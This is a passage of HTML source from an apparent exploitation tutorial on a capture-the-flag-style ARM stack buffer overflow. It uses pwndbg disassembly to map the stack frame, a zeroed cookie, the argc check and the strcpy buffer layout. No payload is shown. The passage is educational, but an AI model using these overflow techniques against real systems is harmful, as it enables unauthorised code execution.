&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104b4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104b8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104bc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x50]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104c0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x54]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;0x58 bytes are allocated where 0x54 bytes belong to the current stack frame.&lt;/p&gt;
&lt;p&gt;The first two words are allocated by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the rest by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;   &lt;span class="c1"&gt;# &amp;lt;-- from sp to the end of the mapped page&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r1&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r0&lt;/span&gt;
  &lt;span class="mh"&gt;0x50&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;zeros&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;-|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
   &lt;span class="mh"&gt;0x8&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;
 &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;lr&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;--&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="проверка-аргументов"&gt;Проверка аргументов&lt;/h2&gt;
&lt;p&gt;&lt;label for='CmBlcnJ4YHsubm9uZX0gcHJpbnRzIGEgbWVzc2FnZSB0byB0aGUgc3RhbmRhcmQgZXJyb3Igb3V0cHV0IGFuZCB0aGVuIG1ha2VzCnRoZSBwcm9ncmFtIGV4aXQuCjxiciAvPgpTZWUgW21hbiBlcnJ4XShodHRwczovL2xpbnV4LmRpZS5uZXQvbWFuLzMvZXJyeCkKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBlcnJ4YHsubm9uZX0gcHJpbnRzIGEgbWVzc2FnZSB0byB0aGUgc3RhbmRhcmQgZXJyb3Igb3V0cHV0IGFuZCB0aGVuIG1ha2VzCnRoZSBwcm9ncmFtIGV4aXQuCjxiciAvPgpTZWUgW21hbiBlcnJ4XShodHRwczovL2xpbnV4LmRpZS5uZXQvbWFuLzMvZXJyeCkKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code class="none"&gt;errx&lt;/code&gt; prints a message to the standard error output and then makes the program exit. &lt;br /&gt; See &lt;a href="https://linux.die.net/man/3/errx"&gt;man errx&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class="none"&gt;argc&lt;/code&gt; is expected to be 1 otherwise the program will &lt;strong&gt;not&lt;/strong&gt; jump and &lt;code class="none"&gt;errx&lt;/code&gt; will be called.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104c4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x50]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104c8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#1&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104cc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;bne&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#main+44 &amp;lt;main+44&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#1&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x5c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#errx@plt &amp;lt;errx@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CkFzIG1lbnRpb25lZCBpbiBhIFtwcmV2aW91cyBwb3N0XSgvYXJ0aWNsZXMvMjAyMS8wMS8xNC9TbWFzaGluZy1BUk0tU3RhY2stZm9yLUZ1bi1QYXJ0LUkuaHRtbCksCndoZW4gYHBjYCBpcyB1c2VkIGZvciBpbmRleGluZwp0aGUgYHBjYCBpcyB0aGUgYWRkcmVzcyBvZiB0aGUgY3VycmVudCBhYm91dC10by1iZS1leGVjdXRlZCBpbnN0cnVjdGlvbgoqcGx1cyogOCBieXRlcy4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFzIG1lbnRpb25lZCBpbiBhIFtwcmV2aW91cyBwb3N0XSgvYXJ0aWNsZXMvMjAyMS8wMS8xNC9TbWFzaGluZy1BUk0tU3RhY2stZm9yLUZ1bi1QYXJ0LUkuaHRtbCksCndoZW4gYHBjYCBpcyB1c2VkIGZvciBpbmRleGluZwp0aGUgYHBjYCBpcyB0aGUgYWRkcmVzcyBvZiB0aGUgY3VycmVudCBhYm91dC10by1iZS1leGVjdXRlZCBpbnN0cnVjdGlvbgoqcGx1cyogOCBieXRlcy4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
As mentioned in a &lt;a href="/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-I.html"&gt;previous post&lt;/a&gt;, when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is used for indexing the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the address of the current about-to-be-executed instruction &lt;em&gt;plus&lt;/em&gt; 8 bytes.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s see &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x5c]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that translates to 0x104d4 + 0x5c + 0x8:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10538&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10538&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;136&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x000105bc&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mb"&gt;1b&lt;/span&gt;&lt;span class="nv"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x000105bc&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x105bc:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nf"&gt;please&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;specify&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;argument&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nv"&gt;n&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="переполнение-буфера"&gt;Переполнение буфера&lt;/h2&gt;
&lt;p&gt;A cookie is stored in the stack with a value of zero. Then &lt;code class="none"&gt;argv&lt;/code&gt; is loaded into &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; if you want.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instruction moves &lt;code class="none"&gt;argv&lt;/code&gt; pointer 4 bytes forward. In other words, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;points&lt;/em&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally the pointer is dereferenced and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;has&lt;/em&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x54]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104ec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Like in the &lt;a href="/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-I.html"&gt;previous challenge&lt;/a&gt;, begin of the buffer for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 4 bytes below the pushed arguments and has a size of 64 bytes (0x48 bytes minus 4 bytes for the pushed &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and 4 bytes for the cookie)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x48&lt;/span&gt;
